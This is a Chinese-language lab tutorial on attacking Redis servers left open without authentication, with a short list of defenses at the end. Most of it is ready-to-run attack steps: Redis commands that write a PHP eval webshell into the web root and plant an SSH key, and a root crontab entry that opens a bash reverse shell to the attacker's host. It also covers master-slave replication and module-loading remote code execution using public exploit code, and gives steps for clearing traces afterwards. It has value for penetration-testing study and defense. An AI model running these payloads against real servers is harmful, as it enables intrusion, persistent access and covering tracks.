危害
信息泄露
- 系统信息
- redis保存的信息
写文件GetShell
- 在Web目录中写入webshell
- 写入SSH公钥直接连接
- 写入计划任务(corntab)反弹shell
高级利用
- 主从复制getshell(4.x version < 5.0.5)
- 模块加载执行命令(> 4.x)
环境准备
🐔型 | ip | 服务 | 版本 |
---|---|---|---|
攻击🐔 | 192.168.1.100 | Windows | 10 |
攻击🐔 | 192.168.1.100 | redis-cli | 3.0.501 |
受害🐔 | 192.168.1.105 | Ubuntu | 16.04 LTS |
受害🐔 | 192.168.1.105 | redis-server | 3.0.6 |
受害🐔 | 192.168.1.105 | Apache | 2.4.18 (Ubuntu) |
因为新版的 redis 默认绑定的地址为
127.0.0.1
,所以为了复现漏洞,我们手动将绑定端口改成0.0.0.0
sudo vim redis.conf
- 将
69
行的127.0.0.1
修改为0.0.0.0
- 启动redis必须使用 root 权限启动,否则
save
时会报错
# 关闭 redis 服务
sudo service redis-server stop
# 打开 redis 服务
cd /usr/bin/ && sudo redis-server
信息泄露
数据泄露
获取所有的key值 keys *
具体查看数据可以查看redis教程
系统信息泄露
info
命令
可以看到redis的版本、系统内核版本、配置文件路径等信息
写文件GetShell
在Web目录中写入webshell
前提条件
已知网站目录的绝对路径,并且具有读写权限
环境搭建
启动apache服务器
sudo service apache2 start
查看apache服务器状态
sudo service apache2 status
有一个 running 则说明在运行状态
getshell
- 写入shell
# 写入一个string内容
set shell "<?php @eval($_POST['shell']);?>"
# 设置备份目录
config set dir /var/www/html/
# 设置备份文件名
config set dbfilename shell.php
# 保存文件到本地
save
- 菜刀连接
写入SSH公钥直接连接
- 本地生成公钥和私钥
- 将公钥写入到目标的
.ssh
文件夹 - ssh 连接
在本地生成公钥和私钥
PS : 这里为了方便,我直接从受害🐔里面生成的公钥和私钥,然后再将他们剪切到攻击🐔
ssh-keygen -t rsa
将公钥写入文件中
# 备份文件目录设置为对应的 .ssh,部分为 /root/.ssh/
config set dir /home/lynn/.ssh/
config set dbfilename authorized_keys
# 保存key的时候加上两个`\n`是为了避免和Redis里其他缓存数据混合
set key "\n\n\生成的公钥n\n"
save
ssh 连接
ssh -i id_rsa [email protected]
可以看到不需要输入密码直接连接
写入计划任务(corntab)反弹shell
注意⚠️
这里有一个很深的坑,那就是
crontab反弹debain,ubuntu都不行,因为他们对计划任务的格式很严格,必须要执行
crontab -u root /var/spool/cron/crontabs/root
通过语法检查后,才能执行计划任务。
因为这个坑,用了整整一天的时间来研究这个
参考文章
主要是感谢下方的评论
执行命令
和写入公钥一样,将文件保存到本地,备份文件名必须要和用户的名字一样,比如是 lsa 那么备份文件就是 lsa
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.100/1234 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save
攻击🐔开启监听
nc -lvp 1234
等待 1 分钟
等待一分钟受害🐔即可执行任务,攻击🐔就可以收到shell
前期总结
redis未授权访问总的来说危害还是挺大的
但是实际过程中还是会遇到很多很多的问题
比如
- redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的
- redis写入的时候就会覆盖passwd,而且passwd不能恢复
- debian,ubuntu 计划任务的限制很严格,写入成功是不能执行的
高级利用
主从复制Getshell
介绍
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。
主从复制RCE主要原理就是:攻击机通过协议认证成为主节点,目标redis服务器为从节点,通过全量复制将文件内容输出到目标服务器上(也就是写入so文件)。然后加载.so文件,完成命令执行。
环境搭建
采用docker拉取redis进行一键式搭建
docker run -p 6378:6379 -d redis:latest
漏洞利用
下载Exp
git clone https://github.com/Ridter/redis-rce.git
下载 exp.so
# 下载后放到 redis-rce 目录下
wget --no-chck-certificate https://github.com/n0b0dyCN/redis-rogue-server/raw/master/exp.so
利用
# 此处可以通过 -p 去设置目标端口(默认6379)
python redis-rce.py -r <目标IP> -L <监听的公网IP> -P <监听的公网端口> -f exp.so
成功截图
数据备份&痕迹清理
攻击前先确定各种配置信息
CONFIG get * # 获取所有的配置
CONFIG get dir # 获取 快照文件 保存的 位置
CONFIG get dbfilename # 获取 快照文件 的文件名
攻击后对数据进行恢复,恢复的内容从上方的命令中获取
#切断主从,关闭复制功能
slaveof no one
#恢复目录
config set dir /data
#通过dump.rdb文件恢复数据
config set dbfilename dump.rdb
#删除exp.so
system.exec 'rm ./exp.so'
#卸载system模块的加载
module unload system
漏洞原理
Pavel Toporkov
在2018年的zeronights
会议上,分享了关于这个漏洞的详细原理。
PDF链接:https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
看了个大概,也不是完全懂,大概意思就是说,我们做主机,目标做从机,当两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC
同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。
模块加载执行命令
介绍
和主从复制差不多,都是加载一样的so
文件,只不过这边是直接模块导入的方法
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
主要过程还是通过某种手法上传.so文件
,然后通过redis的module命令
进行加载.so文件
,然后进行系统命令执行,这里主要是讲解利用方式,我就不对.so文件原理进行一个讲解。
什么时候用
- 实战中这种用法一般用在getshell后,上传.so文件进行一个命令执行;
- 版本够,但是不能用主从复制rce的时候用,不能出网的时候用;
exp.so
下载后自己make编译即可
复现
- 启动redis容器
docker run -it --rm -d -p 127.0.0.1:6379:6379 redis
- 查看版本,符合要求
- 下载远程的仓库进行编译
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand
make
- 把编译好的so文件放到redis的容器内
docker cp
- 加载so,执行命令
防护
从上面的利用也可以看的出来,防护主要针对以下几点:
- 禁止未授权访问,设置密码
- 低权限运行,避免RCE等
- 禁止数据库对外开放,设置访问IP白名单